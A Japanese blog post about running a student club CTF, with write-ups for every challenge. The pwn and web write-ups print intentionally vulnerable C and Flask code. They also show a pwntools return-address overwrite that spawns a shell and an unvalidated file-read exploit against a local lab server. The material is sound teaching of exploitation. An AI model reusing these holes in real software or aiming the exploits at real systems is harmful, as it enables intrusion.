LoginSignup
4
0

More than 1 year has passed since last update.

bunaiCTF2022開催日記&WriteUp

Last updated at Posted at 2022-12-24

部内でCTFを開催しました

どうもtrimscashです.
まずは部員の皆さん参加していただきありがとうございました.想定よりも解けていてさすがだなと思います.
部員じゃない人も見て行ってね!

2022年12月22日から23日にかけてローカルで開催したbunaiCTFの開催日記とWriteupを書きます.

このbunaiCTFは東京高専プロコンゼミ,ロボコンゼミ合同のクリスマスLTで開催したCTFで初心者が初心者を増やすために開催しました.

東京高専プロコンゼミ① Advent Calendar 2022
の23日目の記事です.ほかの記事もぜひご覧ください.

screencapture-192-168-1-80-2022-12-23-19_28_49.png

screencapture-192-168-1-80-challenges-2022-12-23-19_27_17.png

スコアボード
image.png

問題一覧

問題名 カテゴリ
buffer [easy] pwn
buffer2 [medium] pwn
callme [hard] pwn
helloBinary [easy] rev
xorStep [medium] rev
unko64 [easy] web
justXOR [easy] crypto
RSAwithKEY [hard] crypto
trimscash [warmup] osint
myschool [warmup] osint
myhouse [easy] osint
omoide [easy] osint
mt [easy] osint
IWA [easy] osint
mytown [medium] osint
station [hard] osint
funnyIMG [easy] misc
synthesis [medium] misc

日記

やろうと思いたったのが12月8日でしたので実に2週間近くでいろいろな準備と調査をしました.
適当に時系列順にやったことを箇条書きします.

  • 着想

bunaiCTF開催のきっかけ
12月2日に開催されたtaskCTFがきっかけです.task4233という方が一人で運営をしていると知り儂もやりたいなぁ..と思い開催することにしました.

  • Pwnableの問題を作る

とりあえずPwnの簡単なバッファオーバーフローの問題を作りました.

  • githubにリポジトリを作る

  • Dockerについて調べる

なんとなく使い方だけしか知らない状態だったので,まずより深く理解するため学校の図書館にあったO'ReillyのDocker本を読みました.その後なんとなく理解したのでDockerfile等を書き始めました.

  • xinetdについて調べる

Pwnableの問題ではよくxinetdと呼ばれるものが使われています.xinetdとはポートを監視してポートにアクセスがあったらプログラムを実行してくれるやつです.()

  • とりあえず自己流でDockerfileとxinetdをセッティング

大体完成

  • うまくいかなかったので過去に開催されたCTFやネットの記事をパクる

少々パクったが動かない..原因はImageを作り直していなかったからだった.

docker-compose up -d --build #でimageを作り直してくれる.

  • Dockerのコンテナ上で動きPwnableの問題が完成

最高

  • OSINTの写真を撮るべく散歩する

OSINTように学校の周りをうろついたのだが結局この散歩で使った写真は1枚だけだった.残りは過去の記憶の残り香を使った.(過去の写真を使った.)

  • rev,Cryptoの問題を作る

revやcryptoの問題は鯖を立てる必要がないのでかなり作問が楽だった.

  • 部室にサーバーを立てる

部室に余っていたパソコンにUbuntuを入れて鯖を立てました.ブラウザから鯖にアクセスできた時はほんとに感動しました.
IMG_0593.jpg

  • CTFdの設定をする

CTFのスコアサーバーにはCTFdを使いました.CTFdにはテーマを変更できる機能があり,テーマはgithubで公開されています.今回はそのテーマの中でもpixoと呼ばれるテーマを使わせてもらいました.この時点でもう気分は最高でした.

screencapture-192-168-1-80-2022-12-23-19_28_49.png

  • Web問を作る

できれば幅を広くしたかったので以前作ったunko64ウンコーダーを使ってweb問を作ろうと思いました.がweb問はあまり解かないのでunko64をうまく使った問題はできませんでしたが問題はできました.ちなみにFlaskを使い問題を作りました.めちゃくちゃ便利でした.

  • 部内でCTFの告知をする

image.png

  • CTFが始まる

事前登録してくれた人がいなかったので参加してもらえるか不安でしたが,部室に集まって参加してもらえました.本当にありがたいです.
image.png

  • いくつかの問題に不備がみつかる

OSINTstationという問題と,reversingxorStepに不備が見つかった.最終的になんとかなったがプレイヤーに迷惑をかけてしまった.

  • LT会で発表

スライドを作ってpwnの一番簡単な問題bufferの解説をした.

  • CTFが終わる

最終結果は以下のようになった.結構いろいろな人に遊んでもらえて幸せだった.また意外と解かれていたので驚きもあった.
image.png

  • 表彰

優勝者には賞品として粗品をあげるとだけ書くだけ書いて当日まで用意していなかったので,開催中に買いに行きました.

賞品の粗品
IMG_0590.jpg

おめでとう!

  • 日記,writeupを書く(←イマココ)

writeupはほぼ書いておいたので日記を主に書いている.
参加してくれて本当にありがとうって気持ち.

writeup

pwn

buffer [easy]

BufferOverFlowってなんだっけってお隣さんのおばさんから聞かれながらファイルと鯖を渡されました.
nc 192.168.1.80 30002
添付ファイル:buffer.zip

バッファを適当にオーバーフローするだけの簡単な問題.文字列(配列)は上(メモリ低地)から下(メモリ高地)に伸びていくことに注意
https://www.slideshare.net/secret/cpvu34PmHtYndz
image.png

image.png

image.png

bunaiCTF{HE110_6uffeR_0VeR_F10w}

buffer2 [medium]

おばさん..また持ってきたよ..今度はローカル変数がスタックにどう積まれるかがミソぽいけどわからんだって??
nc 192.168.1.80 30002
添付ファイル:buffer2.zip

vuln.c
#include <stdio.h>

int main(){
	char a=0;
	char b=0;
	char buf[10];
	printf("What's your name: ");
	fgets(buf,20,stdin);
	if(a=='a'&&b=='b'){
		system("/bin/sh");		
	}
	printf("HAPPY CHRISTMAS!, %s\n",buf);
	return 0;
}

ローカル変数がスタックにどのように積まれるか理解していれば簡単な問題.

image.png

スタックにはaが先に確保されそのあとbが確保されるので適当に10文字入力したあと"ba"の順で入力するとシェルが取れる.

image.png

bunaiCTF{St4ck_1S_E4SY_G4ME}

callme [hard]

わからんことがあったらなんでも聞いてね!
もしもし...
ヒント?..pwntoolsとかobjdumpとかreturn addressとか..もっと聞きたい?
nc 192.168.1.80 30003
添付ファイル:callme.zip

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>

__attribute__((constructor)) void setup() {
	alarm(60);
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
}

void callme(){
	system("/bin/sh");
}

int main(){
	char buf[10];
	puts("Hi! Whats up:");
	fgets(buf,199,stdin);
	printf("if you have any question, pls call me! %s!",buf);
	return 0;
}

添付ファイルのvuln.cを見るとバッファオーバーフローが存在する.このオーバーフローを利用しmain関数のreturn addressをオーバーフローを利用して書き換え,任意の関数を呼ぶ問題.

checksecしてみるとPIEが無効なため書き込みたいアドレスをそのまま書くだけで良い.

呼びたいのはcallmesystem("/bin/sh")関数なのでobjdumpなどでアドレスの確認をする.

objdump -d vuln

image.png

確認したアドレスでリターンアドレスを上書きする.このときこのソルバではcallme関数の0x4011afではなく0x4011b3にしていることに注意.これはスタックの先頭を指すレジスタrspのアラインメントを16byteにそろえるためである.(rspを16の倍数にする)デバッグしながらやるとわかるが0x4011afpushrspが16の倍数でなくなる.なのでpushを飛ばしたアドレスを指定している.
以下参考

image.png

solver.py
#00000000004011b3

from pwn import *
import sys

context.terminal = ['terminator', '-e']

binary_path="./vuln"

if len(sys.argv) < 2:
    io = remote("192.168.1.80",30003) 
elif sys.argv[1]=="l":
    io = process(binary_path)
elif sys.argv[1]=="d":
    io = gdb.debug(binary_path, '''
        break main
    ''')


payload=b"a"*18+b"\xb3\x11\x40\00\00\00\00\00"#p64(0x4011b4)
print(payload)
io.recvuntil(b":")
io.sendline(payload)
io.readline()
io.interactive()

image.png

実行するとシェルが取れた.

bunaiCTF{y0u_C4N_0VeRWitE_T4E_RET4DDRESS!!}

pwntoolsの使い方は以下

rev

helloBinary [easy]

おばさんがドアののぞき穴をのぞいている..外に出て話を聞くと"私はバイナリをのぞいてたんだ!"と意味不明なことを言っている.
バイナリエディタを片手にもったおばさんの目は狂気じみている.
添付ファイル:chall

バイナリを見るとフラグがあるやつ.バイナリの見方を知ってほしい.

hexedit chall

image.png

bunaiCTF{CanYouSeeTheBinaryWorld?}

なおhexeditはバイナリエディタであるので見るだけなら,xxdというコマンドを使ったほうが便利.(教えていただきありがとうございます.)

xorStep [medium]

gdbをつかおうよの会!
添付ファイル:chall

別にgdbじゃなくてもなんでもいいけど.xorで復号していくプログラムを解析する問題だった.

gdbで実行して結果を見るなり,逆コンパイルしてソルバを作ってやるなりする問題.知らないと難しいかもしれないのでmedium.

image.png

xorされたものがrbp+rax*1-0xf0あたりに入るようなので一通り実行させた後でブレークしてそこのメモリを見る
image.png
ここにブレークポイントを張る.その後メモリを見ると

image.png

bunaiCTF{H4PPY_X0R_C0DE_RE4DING}

これは最初配布していたファイルがある程度の実行するだけでフラグが見えてしまっていた.本当に申し訳なかった.それだけじゃなくLinuxのバージョンが低いと実行できなくて申し訳なかった.

web

unko64 [easy]

trimscash君がくそウェブサイトを作ったって自慢してきたよ.でもなんか余計な機能がついてるなぁ..
http://192.168.1.80:30010
添付ファイル:unko64.zip

image.png

添付ファイルのなかのapp.pyを見ると

app.py
from flask import Flask, render_template, request, redirect, url_for
from markupsafe import escape

app = Flask(__name__)

@app.route("/")
def main():
    return render_template('index.html')

@app.route("/finder/")
def finder():
    filename = request.args.get('filename')

    if filename == None:
        print("a")
        return redirect(url_for("main"))

    if filename == "flag":
        return "flag not found. can't you find it?LOL"
    try:
        f = open(filename,encoding='utf-8')
    except Exception as e:
        return "ERROR!..maybe file could not found.."

    data = f.readline()
    return f"{data}"


@app.errorhandler(404)
def error_404(error):
    return '''
        <h1>404</h1>
    '''

if __name__ == "__main__":
    app.run(host="0.0.0.0")

このファイルの

@app.route("/finder/")
def finder():
    filename = request.args.get('filename')

    if filename == None:
        print("a")
        return redirect(url_for("main"))

    if filename == "flag":
        return "flag not found. can't you find it?LOL"
    try:
        f = open(filename,encoding='utf-8')
    except Exception as e:
        return "ERROR!..maybe file could not found.."

    data = f.readline()
    return f"{data}"

に明らかに足りないvalidationがある.
filenameというクエリパラメータがflagの場合のみ煽りメッセージを送ってくるようになっているので,うまいこと避ければフラグが取れる.

http://192.168.1.80:30010/finder/?filename=./flag

にアクセスするとunko64エンコードされたものが出てくる

image.png

巻き糞と大便とトイレとシッコと巻き糞とおねしょと下痢と排泄物とトイレと血便と巻き糞と下痢と糞尿と汚物と放屁とおもらしと牛糞と排泄物とお尻と牛糞と穴と排便とすかしっぺと道糞と馬糞と排便と便秘とトイレと馬糞と汚物とトイレとおもらしとトイレと馬糞と失禁と下痢と糞尿と汚物と目糞とおむつ

のでそれをデコードするとフラグが出てくる.

image.png

bunaiCTF{FL4SK_1S_USEFUL}

crypto

justXOR [easy]

0 XOR 0 = 0
1 XOR 1 = 0
0 XOR 1 = 1
1 XOR 0 = 1
A XOR B = C
C XOR B = A
xorman参上

chall
f=open("./flag")
flag=f.readline()
f.close()

key="i like cats.. ah? 'i like dogs'?????"

enc=[];

for i, f in enumerate(flag):
    enc.append(ord(f)^ord(key[((i**2)//2)%(i+1)]))

print(enc)
output
[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]

以上の二つのファイルが渡される.outputはフラグをxorしたものなのでchall.pyと同じようにxorしてあげればフラグが出てくる.

solver.py
key="i like cats.. ah? 'i like dogs'?????"

enc=[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]

d=""

for i, e in enumerate(enc):
    d+=chr(e^ord(key[((i**2)//2)%(i+1)]))

print(d)

image.png

bunaiCTF{XORxorISLiKEnotNOT}

RSAwithKEY [hard]

よろしくおねがいしまぁ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~す(ボカン!!)

RSAと整数論とライブラリの使い方を1mmも知っていないと難しいのでhardした.けど意外と解かれてた.

chall.py
from Crypto.Util.number import *

f = open("./flag")
flag=f.readline()
f.close()

flag = bytes_to_long(flag.encode("utf-8"))

e = 65537

p = getPrime(1024)
q = getPrime(1024)
n = p * q

c = pow(flag, e, n)

print(f"e: {e}")
print(f"p: {p}")
print(f"q: {q}")
print(f"c: {c}")
output.txt
e: 65537
p: 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q: 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c: 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860

RSAの秘密鍵が完全にわかっている状態.なのでφ(n)=(p-1)(q-1)を法としてeのモジュラ逆数(dとする)を求めて,暗号化された文字列cnを法としてd乗する.その後その整数をbytes型に直すべくlong_to_bytes関数を実行すると,フラグがゲットできます.

solver.py
from Crypto.Util.number import *

e = 65537
p = 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q = 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c = 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860

n = q*p
phi = (p-1)*(q-1)
d = pow(e,-1,phi)

dec = pow(c,d,n)

flag = long_to_bytes(dec)

print(flag)

bunaiCTF{RSA_wItH_Se4cREt_Key_1s_E4sy}

osint

trimscash [warmup]

trimscashのツイッターをあさってください..
tirmscash->christmas

bunaiCTF{D0_U_h4VE_Tw1tTer_4cc0uNt?}

ツイートを探るというつまらない作業になっていてほんとに申し訳なかった.けどツイート検索をすれば一瞬だったと思う.

myschool [warmup]

おなじみの機構が見えますね..
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:`bunaiCTF{123.1234,312.4231}

myschool.jpg

画像を見ると東京工業高等専門学校と書いてあるのでその周りを漁ります.部員ならすぐわかるよな??

GoogleMap

bunaiCTF{35.6400,139.2946}

myhouse [easy]

これ何住宅ってよばれてる?
例:bunaiCTF{なんちゃら住宅}

とりまGoogleLens
image.png

bunaiCTF{旧下田家住宅}

omoide [easy]

懐かしい二年前の写真.おばさんと私はこのころ恋人どうしだったっけ.()
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}

omoide.jpg

GoogleLensでok
image.png

GoogleMap

bunaiCTF{35.7283,139.1420}

mt [easy]

地蔵マスク
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:`bunaiCTF{123.1234,312.4231}

mt.jpg

image.png

GoogleLensで高尾さんだとわかるので山頂にれっつらごー

GoogleMap

bunaiCTF{35.6250,139.2435}

IWA [easy]

指が写ってるよ..trimscash君...
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}

IMG_20200317_152211.jpg

とりあえず
GoogleLens
image.png

すると神戸岩だとわかるのでそこらを探索.
GoogleMap
image.png

bunaiCTF{35.7558,139.1141}

mytown [medium]

居場所特定してみろやww
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい.
例:bunaiCTF{123.1234,312.4231}

mytown.jpg

画像を見るとYokota Passenger term~~と書いてある.とりあえずググると大体の場所がわかる.その後GoogleMapで探索する.

bunaiCTF{35.7537,139.3406}

station [hard]

この駅の駅名を答えてください.
例:bunaiCTF{東京駅}

station.jpg

左上の黄色い塔をGoogleLensで検索.うまいこと反応するまで大きさを変えたりする.
image.png

bunaiCTF{高尾駅}

これは最初easyだったがGoogleLensではうまくやらないと反応しないので途中でHardにした.学校の近くの高尾駅からの景色で分かる人は一瞬で分かる.わかる人は一瞬で分かりわからない人には難しいというあまりよくない問題だった.ただ今回みたいにローカルな開催じゃなければ普通に難しい問題だった.
すみませんでした.

misc

funnyIMG [easy]

miscはその他の分野!この画像に込められた思いがわかるかな??
添付ファイルfunnyIMG.png

funnyIMG.png

下のほうが破損している.怪しいのでバイナリエディタのhexeditで開いてみる.
image.png
フラグが見えた.

bunaiCTF{binaRYiSFUn}

hexeditでなくxxdを使ったほうが見るだけならパイプ通して検索も簡単にできるので便利.(教えていただきありがとうございます.

synthesis [medium]

がっちゃんこ!がっちゃんこ!opencvとの戦いにxormanは勝利することはできるのだろうか.
添付ファイルa.png,b.png,c.png

a.png

b.png

c.png

画像をopencvbitwise_xor関数でXORしてやるとフラグが浮き出てくる.

solver.py
import cv2

a = cv2.imread('./a.png')
b = cv2.imread('./b.png')
c = cv2.imread('./c.png')

xored=cv2.bitwise_xor(cv2.bitwise_xor(a,b),c)

cv2.imwrite("flag.png",xored)

flag.png

bunaiCTF{XORISSOUSEFUL.....}

さいごに

やはり開催中問題にいくつか不備が見つかりました.初心者とは言え確認をもう一度すればなくせたので申し訳ないです.自分の足りないところや弱さを改めて痛感しました.またこれをグローバルな環境でやっている方々はすごいなと改めて思いました.でも開催するのめちゃくちゃ楽しかったです.だから来年もやりますね!

かなり急いで書いたので誤り等あったら教えてください.
部員はここがわからないとかもっと詳しくとかありましたら気軽に聞いてね!!

参加してくれた部員の皆様.そしてこの稚拙な文を読んでくれた皆様本当にありがとうございました.
CTFを開催するのはCTFに参加するのとは違う難しさや楽しさがありより一層CTFを好きになれた気がします.皆様もCTF開催してみませんか?
部員の人は来年も開催すると思うので運営したい人は言ってね!!

bunaiCTF{Th4nK_Y0u_f0r_pl4y1ng_and_RE4dinG}

東京高専プロコンゼミ① Advent Calendar 2022
の23日目の記事です.ほかの記事もぜひご覧ください.

4
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
0